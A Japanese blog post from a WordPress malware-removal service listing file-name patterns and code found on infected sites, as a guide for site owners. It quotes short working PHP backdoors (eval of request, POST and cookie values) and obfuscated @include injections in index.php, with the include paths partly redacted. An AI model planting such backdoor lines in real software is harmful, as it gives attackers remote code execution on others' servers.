ワードプレスドクターが復旧したマルウェア感染サイト事例集

最近当社が復旧したマルウェア感染サイトのパターンをいくつか公開いたします。この記事のようなファイルがワードプレスのインストールフォルダやプラグインフォルダ、アップロードフォルダなどにあればご注意ください！

ファイル名　303.system.php,401.system.php等　数値+.system.phpとなっているマルウェア

このマルウェアは主にワードプレスのインストールディレクトリに感染していることが多いです。下記のようなコードを含んでいます。

if(isset($_REQUEST['NAR'])){/*BQh*/eval($_REQUEST['NAR']);exit;}

こちらは、外部からツールやブラウザからファイルに処理を送り出すと、PHPの危険なコードを実行できるバックドアとなります。
また、下記のようなマルウェアが使用可能なことを外側から調べることができるコードも含んでいることがあります。

if/*i*/(isset($_COOKIE["Nm"]))/*PEBuF*/{$_COOKIE["KzRcQ"]($_COOKIE["Nm"]);/*Z*/exit;}

index.phpの書き換え

ワードプレスには複数のindex.phpというプログラムが含まれていて、アクセスの起点として機能していますが、そのプログラムにコードを追加してハッカーが任意のプログラムをそこから常に読み込んで実行するようなコードがマルウェアとして仕込まれています。
このタイプのコードはそれ自体には危険があるわけでなく、ハッカーがユーザーを不正にリダイレクトするなどのコードを含んだ別のファイルを読み込んで実行するためのものとなっています。

@include "\x2fhom\x65/ka\x7xxxxxxxxxxx難読化されたコードを含む";

ファイル名　system.db.php、system.modes.php等　system+xxx+phpの形をとるもの

このマルウェアもワードプレスのインストールディレクトリに感染していることが多いです。明らかにマルウェアだとわかるファイル名ではないのでたちが悪いのですが、ワードプレスにはこのようなファイルがトップディレクトリにはないため割と簡単に見分けることができます。

参考
ワードプレスに含まれる主なファイル

ファイル名　index.php.suspected、header.php.suspected等　テンプレート名+.php.suspectedの形をとるもの

こちらのマルウェアはご利用中のテーマの中に含まれています。このファイルが別のファイルから読み込まれることによってハッカーが行いたい処理を実行させます。
テーマの本来のコードの一番上部に下記のようなコードが仕込まれます。

 @eval($_POST['dd']);

たった10文字程度のコードですがこちらもバックドアで、ファイルにツールやブラウザから任意の処理を送り出して、このファイルのあるサーバー上で実行可能な危険なコードです。

ファイル名　index.html.bak　等bakが付与されているファイル

このファイルの中身は、ごく普通の本来のindex.htmlのHTMLが含まれていますが、ファイルをリネームされると同時にindex.phpというファイルが生成され、上記ファイルを読み込んで正規のファイルを実行しつつ、マルウェアも実行するコードです。index.phpの中身は下記のようになっています。

/*3274f*/
@include "\x2fhome\x2fkato\xxxxxxxxxxx難読化されたコードを含む";
/*3274f*/
echo file_get_contents('index.html.bak');

echo file_get_contentsで正規のファイルを出力する前に、includeで別のハッカーが望むファイルを読み込んでいることがわかります。

1ee5fb、3hhndy等拡張子のない謎のランダムな文字列のファイル

このファイルも、非常に多数ワードプレスのあらゆるフォルダに含まれています。ファイルの中身のスクリーンショットは下記のようなものとなっており複雑な処理を難読化されたコードでincludeによって実行します。

login_wall_gjv、login_wall_pcsなど正規のプラグインフォルダ名にランダムな文字列を付与したもの

こちらは大胆にもプラグインフォルダごと、マルウェアを含んだファイルで上書きされた物です。コードの多くには下記のような難読化された長大な処理命令が書き込まれており、ハッカーがサーバー内で様々な活動をする土台となっています。

WordPress のマルウェア駆除、セキュリティー対策はWPドクターにご相談、ご依頼ください